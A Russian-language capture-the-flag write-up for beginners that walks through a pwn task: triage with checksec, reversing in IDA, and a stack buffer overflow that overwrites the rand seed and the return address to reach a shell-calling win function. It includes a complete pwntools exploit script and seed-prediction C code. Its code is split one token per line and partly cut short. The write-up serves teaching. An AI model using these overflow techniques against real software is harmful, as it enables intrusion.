Ку, киберрекруты. Чет давно цтфки не гамал. Зашел на днях почекать ctftime и наткнулся на какой-то CybergonCTF и заинтересовал меня там один таск на пывн. По своей сути он простой, но для новичков в бинарщине то, что надо. Поэтому данная статья именно для них.
Описание
Из описания задания, как обычно, толком никакой информации. Название может натолкнуть на мысль, что нужно будет что-то делать с рандомом
Начнем
Первым делом нужно сделать первичный анализ бинаря. К этому относится:
- file
- strings
- checksec
- поиск UPX
- гаджеты
Чтобы это все не прописывать в ручную, есть утилита, которая делает это все
автоматически и выводит все в одно окно - J0llyTr0llz
После клонирования репозитория и установки всех библиотек
Код:
sudo ./setuptools/sh
,
можно ее запустить
и появится такое окно:
Нажимаем сочитание клавиш
и открываем бинарь.
сообщает, что это 64 разрядная версия и порядок байт - littleend:
тому подтверждение
нет
, так же нет канарейки и отключена рандомизация адресов:
Теперь посмотрим на
. Для этого надо нажать сочитание клавиш
и просмотрев можно заметить строку
Если в названии есть слово рандом, то скорее всего присутсвуют соответсвущие строки:
Теперь нужно поиграть с сервисом, чтобы понять его возможности.
Сначала вводим имя, потом 10 рандомных цифр
Пока ничего не понятно. Поэтому настало время реверса.
Реверс
Традиционно буду использовать IDA Pro и edb.
Первое, что бросается в глаза, так это самое начало программы:
Здесь вводим имя и есть интересные моменты с
. Сначала генерится инструкциями:
Код:
Код:
call _rand
mov [rbp+seed], eax
После передается в srand :
Код:
Код:
mov eax, [rbp+seed]
mov edi, eax
call _srand
Не стоит расстраиваться раньше времени. Между этими двумя участками, мы вводим имя:
Теперь посмотрим на локальные переменные:
Не вооруженным глазом можно заметить, что
лежит перед
. Да, к тому же, буффер можно переполнить ибо нет контроля ввода данных. Из этого следует, что можно переписать
и уже заранее знать, что будет рандомиться.
Участок кода далее уже не несет смысловую нагрузку, потому что он просто рандомит числа и заполняет какой-то глобальный массив интов
Далее вводим числа и тоже заполняем уже какой-то второй массив интов
Происходит сравнение элементов двух массивов и если все нормас, то выведет сообщение
Так же есть прикольная функция
, в которой лежит вызов
и именно к ней мы стремимся
И так. Имеем следующее: можно переполнить буффер и переписать
, тем самым будем знать какие числа будут генериться, можно привести к произвольному управлению. Осталось написать программу на языке C, чтобы получить рандомные числа и написать сплойт.
Пишем эксплойт
Сначала прога на языке Си, которая выглядит так:
C:
Код:
#include
#include
int
main
(
)
{
srand
(
0x41414141
)
;
printf
(
"["
)
;
for
(
int
i
=
0
;
i
#include
int
seed
=
0x41414141
;
unsigned
int
rc4_output
(
int
r
)
{
return
(
unsigned
int
)
(
(
r
+
seed
)
%
256
)
;
}
int
main
(
)
{
srand
(
seed
)
;
printf
(
"["
)
;
for
(
int
i
=
0
;
i
<
10
;
i
++
)
{
printf
(
"0x%x, "
,
rc4_output
(
rand
(
)
)
)
;
}
printf
(
"]\n"
)
;
return
0
;
}
Результат выполнения:
Код:
Код:
[0xffffffe1, 0xef, 0xffffff78, 0xc9, 0xffffff45, 0xdf, 0xffffff2a, 0xffffffa2, 0xd3, 0xffffffe4]
Теперь настало время эксплойта.
Для добития до
необходимо 112 каких-нибудь байтов. Сам
будет равен
, что означает
. Далее объявим переменную
, в которой будет адрес победной функции и сам payload. Данный участок кода выглядит так:
Python:
Код:
junk
=
b'A'
*
112
seed
=
b'AAAA'
potato
=
p64
(
0x0000000004011BA
)
payload
=
junk
+
seed
+
(
b'A'
*
20
)
+
potato
Далее просто посылаем это все нашему таргету:
Python:
Код:
io
.
recvuntil
(
b'What is your name? '
)
io
.
sendline
(
payload
)
io
.
recvuntil
(
b'Guess my numbers!'
killRand
(
)
Функция
она банально отправляет нужные числа программе:
Код:
Код:
def killRand():
rand = [0x00000000FFFFFFE1, 0x00000000000000EF, 0x00000000FFFFFF78, 0x00000000000000C9,
0x00000000FFFFFF45,0x00000000000000DF,0x00000000FFFFFF2A, 0x00000000FFFFFFA2,
0x00000000000000D3,0x00000000FFFFFFE4]
for i in rand:
tmp = str(i)
io.sendline(tmp.encode())
Полный сплойт выглядит так:
Python:
Код:
from
pwn
import
*
exe
=
context
.
binary
=
ELF
(
'./random'
)
def
start
(
argv
=
[
]
,
*
a
,
**
kw
)
:
if
args
.
GDB
:
return
gdb
.
debug
(
[
exe
.
path
]
+
argv
,
gdbscript
=
gdbscript
,
*
a
,
**
kw
)
elif
args
.
EDB
:
return
process
(
[
'edb'
,
'--run'
,
exe
.
path
]
+
argv
,
*
a
,
**
kw
)
else
:
return
process
(
[
exe
.
path
]
+
argv
,
*
a
,
**
kw
)
gdbscript
=
'''
tbreak main
continue
'''
.
format
(
**
locals
(
)
)
def
killRand
(
)
:
rand
=
[
0x00000000FFFFFFE1
,
0x00000000000000EF
,
0x00000000FFFFFF78
,
0x00000000000000C9
,
0x00000000FFFFFF45
,
0x00000000000000DF
,
0x00000000FFFFFF2A
,
0x00000000FFFFFFA2
,
0x00000000000000D3
,
0x00000000FFFFFFE4
]
for
i
in
rand
:
tmp
=
str
(
i
)
io
.
sendline
(
tmp
.
encode
(
)
)
io
=
start
(
)
junk
=
b'A'
*
112
seed
=
b'AAAA'
potato
=
p64
(
0x0000000004011BA
)
payload
=
junk
+
seed
+
(
b'A'
*
20
)
+
potato
io
.
recvuntil
(
b'What is your name? '
)
io
.
sendline
(
payload
)
io
.
recvuntil
(
b'Guess my numbers!'
)
killRand
(
)
io
.
interactive
(
)
Проверим работу этого всего дела. Для этого в EDB , поставлю точку останова сразу же в конце выполнения программы, то есть сюда
Если все сработало, то во первых будет сообщение
, во вторых попаду в нужную функцию.
Дошел до этого места, значит полет нормальный
Теперь дохожу до инструкции
и попаду в
Собственно чтд, вызовется функция
Теперь попробую запустить на сервере и получу RCE:
